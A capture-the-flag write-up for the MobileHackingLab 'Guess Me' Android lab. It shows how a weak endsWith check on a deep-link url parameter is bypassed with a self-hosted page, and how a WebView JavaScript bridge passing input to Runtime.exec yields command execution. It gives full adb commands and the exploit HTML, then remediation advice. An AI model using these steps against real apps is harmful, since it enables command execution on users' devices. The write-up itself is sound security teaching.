Skip to content

Write-up: MobileHackingLab - Guess Me

Updated: at 11:00 PM

Introduction

Guess Me is an Android lab from MobileHackingLab where you bypass Android Intent validation and exploit a command injection vulnerability, to achieve Remote Code Execution.


Methodology

Explore application

The application generates a random number when it starts up the first time. The goal of the application is to guess which number was generated with the least amount of tries.

Main screen

The Main application screen has an input field to enter your guess value. It also has a few buttons to perform various actions in the game.

Main Screen

You can enter a value between 1 and 100, if you enter the incorrect number, it will display an error message, and clear the input field.

Main Screen enter valueMain Screen incorrect value

If you enter the incorrect number more than 10 times, you will be presented with a message indicating that you have lost the game and also what the number was.

Main Screen - Game Over

If you enter the correct number, you will be presented with a message indicating that you have won the game, what the number was, and how many attempts you made.

Main Screen - Won

WebView screen

The WebView screen is used to load local and remote content. The screen is opened by using an Android intent, performing some validation and then deciding which resource to open.

Local content

When you tap the question mark icon on the Main screen, it will open the WebView screen, and render a local HTML file from the application assets.

This HTML file contains a message, the current system date and time, and also a hyperlink to a website.

Webiew Screen - Local

Remote content

When you tap the link found in the local HTML file rendered in the WebView, it will open the remote resource that it links to in the same WebView screen.

Webview Screen - Remote

First things first, let’s investigate the AndroidManifest.xml file to get an overview of the application entry points and, where potential deep links might exist.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    android:compileSdkVersion="34"
    android:compileSdkVersionCodename="14"
    package="com.mobilehackinglab.guessme"
    platformBuildVersionCode="34"
    platformBuildVersionName="14">
    <!-- ... -->
    <application
        android:theme="@style/Theme.Encoder"
        android:label="@string/app_name"
        android:icon="@mipmap/ic_launcher"
        android:debuggable="true"
        android:allowBackup="true"
        android:supportsRtl="true"
        android:extractNativeLibs="false"
        android:fullBackupContent="@xml/backup_rules"
        android:networkSecurityConfig="@xml/network_config"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:appComponentFactory="androidx.core.app.CoreComponentFactory"
        android:dataExtractionRules="@xml/data_extraction_rules">
        <activity
            android:name="com.mobilehackinglab.guessme.MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity
            android:name="com.mobilehackinglab.guessme.WebviewActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data
                    android:scheme="mhl"
                    android:host="mobilehackinglab"/>
            </intent-filter>
        </activity>
        <!-- ... -->
    </application>
</manifest>

For this section, we will focus on the WebviewActivity to see how it behaves and what we can do with it.

Using adb, we can start it up to see how it displays without us doing anything out of the ordinary. We will use the scheme defined in the AndroidManifest file:

mhl://mobilehackinglab

adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab"
# Starting: Intent { act=android.intent.action.VIEW cat=[android.intent.category.BROWSABLE] dat=mhl://mobilehackinglab/... }

This worked; it opened the WebviewActivity and loaded a default webpage.

Webiew Screen - Local

Let’s take a look at the source code to find out what is happening when the WebviewActivity opens.

@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_web);
    View findViewById = findViewById(R.id.webView);
    Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(...)");
    this.webView = (WebView) findViewById;
    WebView webView = this.webView;
    WebView webView2 = null;
    if (webView == null) {
        Intrinsics.throwUninitializedPropertyAccessException("webView");
        webView = null;
    }
    WebSettings webSettings = webView.getSettings();
    Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)");
    webSettings.setJavaScriptEnabled(true);
    WebView webView3 = this.webView;
    if (webView3 == null) {
        Intrinsics.throwUninitializedPropertyAccessException("webView");
        webView3 = null;
    }
    webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
    WebView webView4 = this.webView;
    if (webView4 == null) {
        Intrinsics.throwUninitializedPropertyAccessException("webView");
        webView4 = null;
    }
    webView4.setWebViewClient(new WebViewClient());
    WebView webView5 = this.webView;
    if (webView5 == null) {
        Intrinsics.throwUninitializedPropertyAccessException("webView");
    } else {
        webView2 = webView5;
    }
    webView2.setWebChromeClient(new WebChromeClient());
    loadAssetIndex();
    handleDeepLink(getIntent());
}

There is a lot happening in this method, and it can be quite confusing. I believe that this was purposely done to make it more difficult to reverse engineer.

WebView initialization

This method initializes the WebView.

It enables JavaScript, adds a JavaScript bridge, and sets some clients to get access to some additional functionality.

For more information about the WebViewClient() and WebChromeClient() there is a post here.

WebView initial page load

This method uses the WebView to load a index.html file from the asset directory of the application.

private final void loadAssetIndex() {
    WebView webView = this.webView;
    if (webView == null) {
        Intrinsics.throwUninitializedPropertyAccessException("webView");
        webView = null;
    }
    webView.loadUrl("file:///android_asset/index.html");
}

This is the HTML which is rendered when you open the WebviewActivity without using a deep link.

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  </head>
  <body>
    <p id="result">Thank you for visiting</p>

    <!-- Add a hyperlink with onclick event -->
    <a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

    <script>
      function loadWebsite() {
        window.location.href = "https://www.mobilehackinglab.com/";
      }

      // Fetch and display the time when the page loads
      var result = AndroidBridge.getTime("date");
      var lines = result.split("\n");
      var timeVisited = lines[0];
      var fullMessage =
        "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " +
        timeVisited;
      document.getElementById("result").innerText = fullMessage;
    </script>
  </body>
</html>
private final void handleDeepLink(Intent intent) {
    Uri uri = intent != null ? intent.getData() : null;
    if (uri != null) {
        if (isValidDeepLink(uri)) {
            loadDeepLink(uri);
        } else {
            loadAssetIndex();
        }
    }
}

This method does a few checks:

If all of these checks pass it will render the remote URL in the WebView.

isValidDeepLink(uri)

private final boolean isValidDeepLink(Uri uri) {
    if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
        return false;
    }
    String queryParameter = uri.getQueryParameter("url");
    return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}

This method does a few checks:

If found the URI scheme validation code quite confusing. It checks for things that should not be possible, for instance the https scheme check, which is not part of the WebviewActivity intent filter.

I spent way too much time trying different combinations and seeing the output results, which turned out to not really be necessary.

In short, you can use Truth tables, along with your different input values, to determine the output.

AND truth table:

ABA AND B
truetruetrue
truefalsefalse
falsetruefalse
falsefalsefalse

OR truth table:

ABA OR B
truetruetrue
truefalsetrue
falsetruetrue
falsefalsefalse

Using the URI:

mhl://mobilehackinglab

if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
    return false;
}

The first check, !Intrinsics.areEqual(uri.getScheme(), “mhl”), will be false

The second check, !Intrinsics.areEqual(uri.getScheme(), “https”), will be true

The last check, !Intrinsics.areEqual(uri.getHost(), “mobilehackinglab”), will be false

The final statement, with the values replaced, ((false && true) || false), simplified as (false || false)

The final value is false, which will skip the return false; and continue executing the rest of the method.

The last part of the method is validating the url parameter:

String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);

It expects the URI to contain a query string parameter called url and that the parameter ends with mobilehackinglab.com.

Using the URI:

mhl://mobilehackinglab/?url=https://www.mobilehackinglab.com

adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab/?url=https://www.mobilehackinglab.com"

It will open the https://www.mobilehackinglab.com website:

Webview Screen - Remote

From the previous section, we determined that there is limited URL validation on the url parameter that is sent as part of the deep link.

The validation that happens is a String endsWith check to make sure the URL ends with the String mobilehackinglab.com.

What happens if we host our own website that ends with mobilehackinglab.com and use that as the URL?

Let’s do that now and see if it works.


# Create required directory
mkdir mobilehackinglab.com

# Create index.html file inside the directory
echo -n 'If you can read this it works!' > mobilehackinglab.com/index.html

# Host the content
python3 -m http.server 9090

Using the URI:

mhl://mobilehackinglab/?url=https://<YOUR_IP>:9090/mobilehackinglab.com

adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab?url=http://192.168.110.128:9090/mobilehackinglab.com"
Webview Screen - Custom Remote

We have successfully bypassed the validation and can now open any website URL as long as it ends with mobilehackinglabs.com


Identify JavaScript bridge vulnerability

While reviewing the HTML page earlier, I noticed some very interesting code:

// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("date");
var lines = result.split("\n");
var timeVisited = lines[0];
var fullMessage =
  "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " +
  timeVisited;
document.getElementById("result").innerText = fullMessage;

The part that we are most interested in is the AndroidBridge.getTime("date") part.

If you are not familiar with what a JavaScript bridge is, it is a mechanism to add interfaces that map code between native and JavaScript code.

If we look at the WebView configuration code, you can see where the AndroidBridge interface is added to the WebView:

webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");

And the code that interacts with the Native Code can be found in the MyJavaScriptInterface within the WebviewActivity class:

public final class MyJavaScriptInterface {
    public MyJavaScriptInterface() {
    }

    @JavascriptInterface
    public final void loadWebsite(String url) {
        Intrinsics.checkNotNullParameter(url, "url");
        WebView webView = WebviewActivity.this.webView;
        if (webView == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
            webView = null;
        }
        webView.loadUrl(url);
    }

    @JavascriptInterface
    public final String getTime(String Time) {
        Intrinsics.checkNotNullParameter(Time, "Time");
        try {
            Process process = Runtime.getRuntime().exec(Time);
            InputStream inputStream = process.getInputStream();
            Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
            Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
            BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
            String readText = TextStreamsKt.readText(reader);
            reader.close();
            return readText;
        } catch (Exception e) {
            return "Error getting time";
        }
    }
}

From here, we can identify a command execution vulnerability.

When running it with the original code:

AndroidBridge.getTime("date")

It will generate the command:

date

And running it produces the following output:

emu64xa:/ $ date
Fri Nov 15 20:57:53 CET 2024
emu64xa:/ $

This is where the default WebView screen gets its date output:

Webiew Screen - Local

Since we have control over this parameter, can we use it to run other commands as well?


Exploit JavaScript bridge vulnerability

Let’s try and modify the command we send to the AndroidBridge and observe the results.

We will use the index.html file found in the application assets folder, which we will modify slightly, and run it.

To get everything set up we will perform the following actions:

Create directory structure on disk - mobilehackinglab.com:

mkdir mobilehackinglab.com

Add index.html file to the mobilehackinglab.com directory, remember to change date to another command like id:

cat << 'EOF' > mobilehackinglab.com/index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("id");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>
EOF

Run a webserver to host this directory/file:

python3 -m http.server 9090

Execute the adb intent command to launch the Webview Activity:

adb shell am start -a "android.intent.action.VIEW" -c "android.intent.category.BROWSABLE" -d "mhl://mobilehackinglab?url=http://192.168.110.128:9090/mobilehackinglab.com"
Webiew Screen - Remote RCE

As observed in the screenshot, we can see the output of the id command, which means we can change it to any command available on the device / user and view the output.


Remediation

URL

When dealing with input parameters from the user, I always like to determine if it is really necessary. The easiest fix would be to remove the input parameter completely if it can be replaced with a better approach.

After reading the source code and observing the url validation, I assume the intent behind the validation was to validate that the incoming url is mobilehackinglab.com.

If that assumption is accurate, then the url parameter can be completely removed and the mobilehackinglab.com URL can be hardcoded inside the application.

If removing the url parameter is not an option, you could always construct a URL object from the url String and then perform additional validation on the scheme/host/path, which would be an improvement on the current endsWith() validation.

Command Injection

Creating a JavaScript bridge to retrieve a date from the native code is overkill and unnecessary in this case.

JavaScript has excellent date and time support, which you could just use inside the index.html file to retrieve the current date.

Unless there is other functionality required, I would remove the AndroidBridge interface and native code completely.

If removing the AndroidBridge is not an option, I would create an allow list of commands that are allowed to be passed from the JavaScript code to the native code and perform validation on that before executing anything.


Final thoughts

When working with user-supplied input parameters, it is very important to make sure you have proper validation in place that validates the happy flows but also the edge cases that might exist.

When using JavaScript bridges, always assess whether it is necessary. These bridges are usually needed when the JavaScript itself lacks the ability to perform certain functions, which then need to be delegated to the native code.